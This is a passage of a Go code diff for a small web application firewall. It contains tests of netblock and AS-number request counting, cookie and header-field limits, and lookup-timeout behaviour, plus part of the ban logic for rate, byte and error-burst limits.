+func TestNetblockAroundAClientIsAsLongAsTheSettingsSay(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// Each client of sent sends one request, and want gives the
+		// netblocks they are counted in, each with its requests.
+		sent []string
+		want map[string]int64
+	}{
+		{
+			"by default", nil,
+			[]string{client, "203.0.113.200", "192.0.2.7", ipv6Client, "2001:db8:0:ffff::1"},
+			map[string]int64{clientsNet: 2, "192.0.2.0/24": 1, "2001:db8::/48": 2},
+		},
+		{
+			"as set", map[string]string{anomalyNetV4Prefix: "16", anomalyNetV6Prefix: "32"},
+			[]string{client, "203.0.200.1", ipv6Client, "2001:db8:ffff::1"},
+			map[string]int64{"203.0.0.0/16": 2, "2001:db8::/32": 2},
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{anomalyNet + requestsPerMinute: aLot}
+			maps.Copy(env, tc.env)
+
+			s, _, server, _ := startAppWithAlerts(t, readAndAnswer, env)
+
+			for _, from := range tc.sent {
+				s.get(from, http.StatusOK, requestlog.ActionForward)
+			}
+
+			got := map[string]int64{}
+			for _, counter := range server.Anomalies.Snapshot() {
+				got[counter.Netblock.String()] = counter.Minute.Current
+			}
+
+			if !maps.Equal(got, tc.want) {
+				t.Errorf("requests by netblock %v, want %v", got, tc.want)
+			}
+		})
+	}
+}
+
+func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
+	t.Parallel()
+
+	s, server, _ := startWithLookups(t, map[string]string{
+		anomalyASN + requestsPerMinute: aLot,
+	})
+
+	// The lookup database does not hold unplaced.
+	for _, from := range []string{fromDE, fromDE, fromKP, noCountry, unplaced} {
+		s.uploadFrom(from)
+	}
+
+	got := map[string]int64{}
+	for _, counter := range server.Anomalies.Snapshot() {
+		got[counter.ASN] = counter.Minute.Current
+	}
+
+	if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
+		t.Errorf("requests by AS number %v, want %v", got, want)
+	}
+}
+
+func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
+	t.Parallel()
+
+	// The stand-in for GeoJS answers only once released, which the app
+	// does as it answers the request, and then waits until the answer is
+	// kept.
+	geojsURL, _, release := startHeldGeoJS(t)
+
+	var server atomic.Pointer[proxy.Server]
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		release()
+		waitUntil(func() bool {
+			_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
+
+			return kept
+		})
+	})
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
+	addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
+		map[string]string{
+			trustedProxies:                 trustLocalhost,
+			lookupTimeout:                  "1h",
+			anomalyASN + requestsPerMinute: aLot,
+		})
+	server.Store(started)
+
+	// The request went on without the answer, and is counted for the AS
+	// number it gives.
+	s := &sender{t: t, addr: addr, out: out}
+	if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
+		t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
+	}
+
+	want := []anomaly.Counter{{
+		Scope: anomaly.ScopeASN, ASN: asnDE,
+		Minute: ratelimit.Buckets{Start: clk.Now(), Current: 1},
+	}}
+	if got := started.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) {
+		t.Errorf("counters\n%+v\nwant\n%+v", got, want)
+	}
+}
+
+func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
+	t.Parallel()
+
+	s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		anomalyWatch + requestsPerMinute: aLot,
+		watchNets:                        office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
+	})
+
+	// client is in office and in wide.
+	for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+	}
+
+	got := map[string]int64{}
+	for _, counter := range server.Anomalies.Snapshot() {
+		got[counter.Name] = counter.Minute.Current
+	}
+
+	if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
+		t.Errorf("requests by named netblock %v, want %v", got, want)
+	}
+}

internal/proxy/answertime_test.go

@@ -0,0 +1,564 @@
+package proxy_test
+
+import (
+	"fmt"
+	"maps"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"slices"
+	"strconv"
+	"strings"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+const (
+	// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
+	// servewaf has to answer.
+	answerTimeLimit = 2 * time.Second
+	// defaultLookupWait is the default of SWWAF_LOOKUP_TIMEOUT.
+	defaultLookupWait = 800 * time.Millisecond
+	// The header limits SPEC.md gives.
+	cookieLimit      = 50
+	headerFieldLimit = 100
+	// cookieHeader is the header the cookie limit counts.
+	cookieHeader = "Cookie"
+	// tooLarge is how servewaf refuses a request over the header limits.
+	tooLarge = http.StatusRequestHeaderFieldsTooLarge
+	// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
+	// that unansweredGeoJSURL names too.
+	silentAbuseIPDBURL = "unanswered://abuseipdb/api/v2/check"
+	// wholeLimit is the percentage of a rate limit that lowers it not at all.
+	wholeLimit = 100
+	// clientsDecision is the CrowdSec decision list holding client alone.
+	clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
+		`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
+)
+
+// cookies returns a Cookie header's value with count cookies.
+func cookies(count int) string {
+	parts := make([]string, 0, count)
+	for i := range count {
+		parts = append(parts, "c"+strconv.Itoa(i)+"=1")
+	}
+
+	return strings.Join(parts, "; ")
+}
+
+// fillHeaders adds headers to a question until the checks see total header
+// fields: all but ClientHeader and PeerHeader, which servewaf removes. Go's
+// client sends nothing else but Host, which the limit does not count, once
+// User-Agent is set.
+func fillHeaders(req *http.Request, total int) {
+	req.Header.Set("User-Agent", "test")
+
+	for i := len(req.Header) - 2; i < total; i++ {
+		req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
+	}
+}
+
+func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{wafMode: block})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
+
+	began := time.Now()
+	got := do(t, req)
+
+	if took := time.Since(began); took >= answerTimeLimit/2 {
+		t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
+	}
+
+	wantDisposition(t, got, tooLarge, proxy.DispositionDeny)
+
+	line := s.out.requestLine(t)
+	wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
+
+	if line.DurationWAF != nil {
+		t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationWAF)
+	}
+}
+
+func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
+	t.Parallel()
+
+	repeated := make([]string, headerFieldLimit)
+	for i := range repeated {
+		repeated[i] = "1"
+	}
+
+	for _, tc := range []struct {
+		name string
+		make func(*http.Request)
+		// refused is true for a request over a limit, and false for one at it.
+		refused bool
+	}{
+		{"cookies at the limit", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit))
+		}, false},
+		{"cookies over the limit", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+		}, true},
+		{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
+		}, false},
+		{"parts of no-break spaces count", func(req *http.Request) {
+			req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
+		}, true},
+		{"cookies over the limit across two headers", func(req *http.Request) {
+			req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
+		}, true},
+		{"cookies without a value count", func(req *http.Request) {
+			req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
+		}, true},
+		{"header fields at the limit", func(req *http.Request) {
+			fillHeaders(req, headerFieldLimit)
+		}, false},
+		{"header fields over the limit", func(req *http.Request) {
+			fillHeaders(req, headerFieldLimit+1)
+		}, true},
+		{"a header sent many times counts each time", func(req *http.Request) {
+			req.Header["X-Filler"] = repeated
+		}, true},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s := startServeWAF(t, "", map[string]string{wafMode: block})
+			req := s.question(siteA, client, "/")
+			tc.make(req)
+
+			got := do(t, req)
+			line := s.out.requestLine(t)
+
+			if tc.refused {
+				wantDisposition(t, got, tooLarge, proxy.DispositionDeny)
+				wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
+
+				return
+			}
+
+			wantDisposition(t, got, http.StatusOK, proxy.DispositionAllow)
+			wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+
+			if line.DurationWAF == nil {
+				t.Error("the Core Rule Set did not read a request within the limits")
+			}
+		})
+	}
+}
+
+func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
+	t.Parallel()
+
+	for _, env := range []map[string]string{
+		{wafMode: off},
+		{wafMode: "detect"},
+		{wafMode: block, "SWWAF_WAF_EXEMPT_PATHS": "/"},
+	} {
+		t.Run(fmt.Sprint(env), func(t *testing.T) {
+			t.Parallel()
+
+			s := startServeWAF(t, "", env)
+			req := s.question(siteA, client, "/")
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+			wantDisposition(t, do(t, req), tooLarge, proxy.DispositionDeny)
+		})
+	}
+}
+
+func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{wafMode: block, allowNets: client})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	wantDisposition(t, do(t, req), http.StatusOK, proxy.DispositionAllow)
+}
+
+func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{mode: observe, wafMode: block})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
+
+	began := time.Now()
+	got := do(t, req)
+
+	if took := time.Since(began); took >= answerTimeLimit/2 {
+		t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
+	}
+
+	wantDisposition(t, got, http.StatusOK, proxy.DispositionAllow)
+
+	line := s.out.requestLine(t)
+	if line.WouldAction != requestlog.ActionTooLarge || line.DurationWAF != nil {
+		t.Errorf("would_action %q and duration_waf %v, want %q and none",
+			line.WouldAction, line.DurationWAF, requestlog.ActionTooLarge)
+	}
+}
+
+func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
+	ask := func() answer {
+		req := s.question(siteA, client, "/")
+		req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+		return do(t, req)
+	}
+
+	wantDisposition(t, ask(), tooLarge, proxy.DispositionDeny)
+	wantDisposition(t, ask(), http.StatusForbidden, proxy.DispositionDeny)
+
+	lines := s.out.requestLines(t, 2)
+	wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionRateLimited)
+}
+
+func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, path, action string
+	}{
+		{"a trap path", "/wp-login.php", requestlog.ActionBanned},
+		{"a block rule", "/blocked", requestlog.ActionRuleBlocked},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s := startServeWAF(t, "", map[string]string{
+				trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
+			})
+			req := s.question(siteA, client, tc.path)
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+			wantDisposition(t, do(t, req), http.StatusForbidden, proxy.DispositionDeny)
+			wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
+		})
+	}
+}
+
+func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s := startServeWAF(t, geojsURL, map[string]string{
+		unknownLimitPercent: "0", lookupTimeout: "1h",
+	})
+	req := s.question(siteA, fromDE, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	wantDisposition(t, do(t, req), tooLarge, proxy.DispositionDeny)
+
+	line := s.out.requestLine(t)
+	wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
+
+	if line.LimitPercent != nil {
+		t.Errorf("limit percentage %d, want none", *line.LimitPercent)
+	}
+
+	// The client is under no ban, and GeoJS places it in a country.
+	wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, proxy.DispositionAllow)
+}
+
+func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s := startServeWAF(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
+	s.server.GeoJS.Load([]lookup.Answer{{
+		Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
+		Answered: s.clock.Now(), Used: s.clock.Now(),
+	}})
+
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	wantDisposition(t, do(t, req), http.StatusForbidden, proxy.DispositionDeny)
+	wantLine(t, s.out.requestLine(t), http.StatusForbidden, requestlog.ActionRateLimited)
+}
+
+func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s := startServeWAF(t, geojsURL, map[string]string{
+		mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
+	})
+	req := s.question(siteA, fromDE, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	got := do(t, req)
+	wantDisposition(t, got, http.StatusOK, proxy.DispositionAllow)
+
+	asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
+	if asn != asnDE || country != "DE" {
+		t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
+			asn, country, asnDE)
+	}
+}
+
+// newServeWAFInBubble makes a servewaf for a synctest bubble: GeoJS never
+// answers, a setting needs its answer, and everything is at its default but
+// for env. No request to it may use the network.
+func newServeWAFInBubble(t *testing.T, env map[string]string) (*proxy.Server, *output) {
+	t.Helper()
+
+	settings := map[string]string{deniedCountries: "KP"}
+	maps.Copy(settings, env)
+
+	server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now, settings)
+
+	return server, out
+}
+
+// askDirectly hands a question about a request from client straight to server,
+// as change leaves it, and returns the answer's status and how long it took.
+func askDirectly(
+	t *testing.T, server *proxy.Server, change func(*http.Request),
+) (int, time.Duration) {
+	t.Helper()
+
+	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
+	req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
+	req.Header.Set(proxy.ClientHeader, client)
+	req.Header.Set(requestIDHeader, "the-id")
+	change(req)
+
+	recorder := httptest.NewRecorder()
+	began := time.Now()
+
+	server.Handler.ServeHTTP(recorder, req)
+
+	return recorder.Code, time.Since(began)
+}
+
+// banClient bans client at now.
+func banClient(_ *testing.T, server *proxy.Server, now time.Time) {
+	server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
+}
+
+// countClient counts one request from client at now for the rate limits.
+func countClient(_ *testing.T, server *proxy.Server, now time.Time) {
+	server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
+}
+
+// listClient puts client on the blocklist at dropURL.
+func listClient(t *testing.T, server *proxy.Server, now time.Time) {
+	t.Helper()
+
+	err := server.Lists.Load([]reputation.List{{
+		URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
+	}})
+	if err != nil {
+		t.Fatalf("load the blocklist: %v", err)
+	}
+}
+
+// decideOnClient puts client on the CrowdSec decision list.
+func decideOnClient(t *testing.T, server *proxy.Server, now time.Time) {
+	t.Helper()
+	loadDecisions(t, server, now, clientsDecision)
+}
+
+// leaveAsItIs prepares nothing.
+func leaveAsItIs(*testing.T, *proxy.Server, time.Time) {}
+
+func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
+	t.Parallel()
+
+	const forbidden = http.StatusForbidden
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// prepare gets the server ready, at now, before the question.
+		prepare func(t *testing.T, server *proxy.Server, now time.Time)
+		// cookie is the request's Cookie header.
+		cookie string
+		status int
+		action string
+	}{
+		{
+			name: "SWWAF_DENY_NETS", env: map[string]string{denyNets: client},
+			prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionDenied,
+		},
+		{
+			name:    "a ban",
+			prepare: banClient, status: forbidden, action: requestlog.ActionBanned,
+		},
+		{
+			name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
+			prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
+		},
+		{
+			name:    "the rate limits, with a biased threshold",
+			env:     map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
+			prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
+		},
+		{
+			name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
+			prepare: listClient, status: forbidden, action: requestlog.ActionDenied,
+		},
+		{
+			name:    "the CrowdSec decision list",
+			env:     map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
+			prepare: decideOnClient, status: forbidden, action: requestlog.ActionBanned,
+		},
+		{
+			name: "the header limits", cookie: cookies(cookieLimit + 1),
+			prepare: leaveAsItIs, status: tooLarge, action: requestlog.ActionTooLarge,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
+			// says, so that a request that does not wait takes no time at all.
+			synctest.Test(t, func(t *testing.T) {
+				server, out := newServeWAFInBubble(t, tc.env)
+				tc.prepare(t, server, time.Now())
+
+				status, took := askDirectly(t, server, func(req *http.Request) {
+					req.Header.Set(cookieHeader, tc.cookie)
+				})
+
+				if status != tc.status || took != 0 {
+					t.Errorf("answered %d after %s, want %d at once; output:\n%s",
+						status, took, tc.status, out.text())
+				}
+
+				wantLine(t, out.requestLine(t), tc.status, tc.action)
+
+				// GeoJS's request is abandoned before the bubble ends.
+				time.Sleep(defaultLookupWait)
+			})
+		})
+	}
+}
+
+func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// prepare gets the server ready, at now, before the question.
+		prepare func(t *testing.T, server *proxy.Server, now time.Time)
+		status  int
+		action  string
+	}{
+		{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
+		{
+			"a country list needs the answer", map[string]string{allowedCountries: "DE"},
+			leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
+		},
+		{
+			"a blocklist that only logs",
+			map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
+			listClient, http.StatusOK, requestlog.ActionForward,
+		},
+		{
+			"a blocklist that only limits",
+			map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
+			listClient, http.StatusOK, requestlog.ActionForward,
+		},
+		{
+			"over a rate limit on an exempt path",
+			map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
+			countClient, http.StatusOK, requestlog.ActionForward,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			synctest.Test(t, func(t *testing.T) {
+				server, out := newServeWAFInBubble(t, tc.env)
+				tc.prepare(t, server, time.Now())
+
+				status, took := askDirectly(t, server, func(*http.Request) {})
+
+				if status != tc.status || took != defaultLookupWait {
+					t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
+						status, took, tc.status, defaultLookupWait, out.text())
+				}
+
+				wantLine(t, out.requestLine(t), tc.status, tc.action)
+			})
+		})
+	}
+}
+
+func TestServeWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(t *testing.T) {
+	t.Parallel()
+
+	held, askedGeoJS, _ := startHeldGeoJS(t)
+
+	// A resolver that takes every query and answers none.
+	resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	t.Cleanup(func() { _ = resolver.Close() })
+
+	server, out, _ := newServeWAFWith(t, func(params proxy.Params) *proxy.Server {
+		params.AbuseIPDBURL = silentAbuseIPDBURL
+
+		return proxy.NewServeWAF(params)
+	}, held, time.Now, map[string]string{
+		deniedCountries: "KP", wafMode: block,
+		dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
+		abuseIPDBKey:  accountKey,
+		blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
+		crowdSecURL: held, crowdSecKey: bouncerKey,
+	})
+
+	// AbuseIPDB is asked only about a client with an offence.
+	group := netip.MustParsePrefix(client + "/32")
+	server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
+
+	go server.Lists.Run(t.Context())
+
+	status, took := askDirectly(t, server, func(req *http.Request) {
+		req.Header.Set("User-Agent", "test")
+		req.Header.Set("Accept", "*/*")
+		req.Host = siteA
+	})
+
+	if status != http.StatusOK || took >= answerTimeLimit {
+		t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
+			status, took, http.StatusOK, answerTimeLimit, out.text())
+	}
+
+	// Each outside source was asked, and none has answered. The stand-in for
+	// GeoJS is the lists' too, which name no address.
+	if !slices.Contains(askedGeoJS(), client) {
+		t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
+	}
+
+	if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
+		t.Errorf("%d queries to the DNS blocklist, want 1", queries)
+	}
+
+	if checked := server.AbuseIPDB.Checked(); checked != 1 {
+		t.Errorf("%d checks with AbuseIPDB, want 1", checked)
+	}
+}

internal/proxy/bans.go

@@ -0,0 +1,365 @@
+package proxy
+
+import (
+	"net/http"
+	"net/netip"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
+// with action.
+func (rq *request) banResponse(action string) *refusal {
+	return &refusal{status: rq.h.config.BanResponse, action: action}
+}
+
+// banned reports whether a ban on a netblock the client is in covers the
+// request at now, and notes for the log line when that ban ends. A
+// request that makes the ban permanent, or in observe mode would have,
+// raises the alert for it.
+func (rq *request) banned(now time.Time) bool {
+	check := rq.h.ledger.Check
+	if rq.h.config.Observe {
+		check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
+	}
+
+	ban, banned, madePermanent := check(rq.client, now)
+	if banned {
+		rq.line.BanExpires = banExpires(ban)
+	}
+
+	if madePermanent {
+		ban.Expires = time.Time{} // the ban made permanent, which Find leaves as it is
+		rq.alertBan(ban)
+	}
+
+	return banned
+}
+
+// limitBroken counts the request for the rate limits at now, notes the
+// client's counts for the log line, and reports whether the request takes
+// the client over a rate limit, as its limit percentage lowers it, which
+// breaks it.
+func (rq *request) limitBroken(now time.Time) bool {
+	counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
+		rq.limitPercent.percent)
+	rq.line.Counts = counts
+
+	if over {
+		rq.banForLimit(now, hit, rq.h.config.BanResponse)
+	}
+
+	return over
+}
+
+// countBytes counts the request's bytes, as countedBytes gives them, for
+// the byte limits, once its report has come, and notes the client's byte totals
+// for the log line; its requests stay there as the rate limits counted them.
+// Only an allowed request has them counted, and only one the rate limits
+// counted; in observe mode, not one that enforce mode would have refused. Bytes
+// that take the client over a byte limit, as its limit percentage for the byte
+// limits lowers it, break it; the response was passed on whole.
+func (rq *request) countBytes() {
+	if !rq.counted || rq.line.WouldAction != "" {
+		return
+	}
+
+	now := rq.h.now()
+
+	counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
+		rq.countedBytes(), rq.bytesPercent.percent)
+	rq.line.Counts.MinuteBytes = counts.MinuteBytes
+	rq.line.Counts.HourBytes = counts.HourBytes
+	rq.line.Counts.DayBytes = counts.DayBytes
+
+	if over {
+		rq.banForLimit(now, hit, rq.out.status)
+	}
+}
+
+// countRefusal counts the request for the error burst once it has been
+// answered, if servewaf refused it after a rule file match, a trap path or a
+// Core Rule Set match, and in observe mode if enforce mode would have: more than
+// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
+// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
+// not counted, and nothing is while the threshold is off.
+func (rq *request) countRefusal() {
+	cfg := rq.h.config
+	if cfg.ErrorBurstThreshold == 0 {
+		return
+	}
+
+	if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked {
+		return
+	}
+
+	now := rq.h.now()
+
+	hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
+		cfg.ErrorBurstThreshold)
+	if !over {
+		return
+	}
+
+	// What the client was sent, or in observe mode would have been.
+	status := rq.out.status
+
+	switch rq.line.WouldAction {
+	case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
+		status = http.StatusForbidden
+	case requestlog.ActionBanned:
+		status = cfg.BanResponse
+	}
+
+	rq.banForLimit(now, hit, status)
+}
+
+// countedBytes returns the request's bytes, once it has ended, as the
+// byte limits and the anomaly thresholds count them: the response's body
+// bytes, the request's, or both, as SWWAF_BYTES_COUNT says.
+func (rq *request) countedBytes() int64 {
+	response, request := rq.out.bytes, rq.requestBytes
+
+	switch rq.h.config.BytesCount {
+	case "response":
+		return response
+	case "request":
+		return request
+	default: // both
+		return response + request
+	}
+}
+
+// banForLimit bans the client's netblock at now for a broken limit, the
+// one hit names, notes the offence for the log line and counts the hit in
+// the metrics. status is what the client was sent, or is sent:
+// SWWAF_BAN_RESPONSE for a request over a rate limit, what the report says for
+// one whose bytes broke a byte limit, the refusal for one that broke the
+// error burst. The ban's notes give the client's limit percentage for a
+// rate limit or a byte limit; the error burst is not lowered. The ban sets
+// the client's counters back to zero. In observe mode it makes no ban and
+// sets nothing back, and raises the alert for the ban it would have made,
+// if that alert would be sent.
+func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
+	switch hit.Kind {
+	case ratelimit.KindBytes:
+		rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
+	case ratelimit.KindRefusals:
+		rq.line.LimitHit = requestlog.LimitHitErrorBurst
+	default:
+		rq.line.LimitHit = hit.Window
+	}
+
+	rq.line.Offence = requestlog.OffenceLimit
+	rq.h.metrics.LimitHit(hit)
+
+	netblock := rq.h.netblock(rq.client)
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
+		return
+	}
+
+	notes := bans.Notes{
+		ASN:        rq.line.ASN,
+		ASName:     rq.line.ASName,
+		Country:    rq.line.Country,
+		Kind:       hit.Kind,
+		Limit:      hit.Limit,
+		Window:     hit.Window,
+		Count:      hit.Count,
+		Reputation: rq.reputation,
+		Request:    rq.noted(now, status),
+		Requests:   rq.netblockRequests(netblock),
+	}
+
+	switch hit.Kind {
+	case ratelimit.KindRequests:
+		notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
+	case ratelimit.KindBytes:
+		notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
+	}
+
+	if rq.h.config.Observe {
+		ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
+		if wouldBan {
+			rq.alertBan(ban)
+		}
+
+		return
+	}
+
+	ban, made := rq.h.ledger.BanForLimit(netblock, now, notes)
+	rq.h.limiter.Reset(rq.h.clientGroup(rq.client))
+	rq.line.BanExpires = banExpires(ban)
+
+	if made {
+		rq.alertBan(ban)
+	}
+}
+
+// banForAttack bans the client's netblock at now for a clear sign of
+// attack, which notes name: the ban rule that matched, or the trap path
+// asked for. It fills in the rest of the notes. In observe mode it makes
+// no ban, and raises the alert for the ban it would have made, if that
+// alert would be sent.
+func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
+	netblock := rq.h.netblock(rq.client)
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
+		return
+	}
+
+	notes.ASN = rq.line.ASN
+	notes.ASName = rq.line.ASName
+	notes.Country = rq.line.Country
+	notes.Reputation = rq.reputation
+	notes.Request = rq.noted(now, rq.h.config.BanResponse)
+	notes.Requests = rq.netblockRequests(netblock)
+
+	if rq.h.config.Observe {
+		ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
+		if wouldBan {
+			rq.alertBan(ban)
+		}
+
+		return
+	}
+
+	ban, made := rq.h.ledger.BanForAttack(netblock, now, notes)
+	rq.line.BanExpires = banExpires(ban)
+
+	if made {
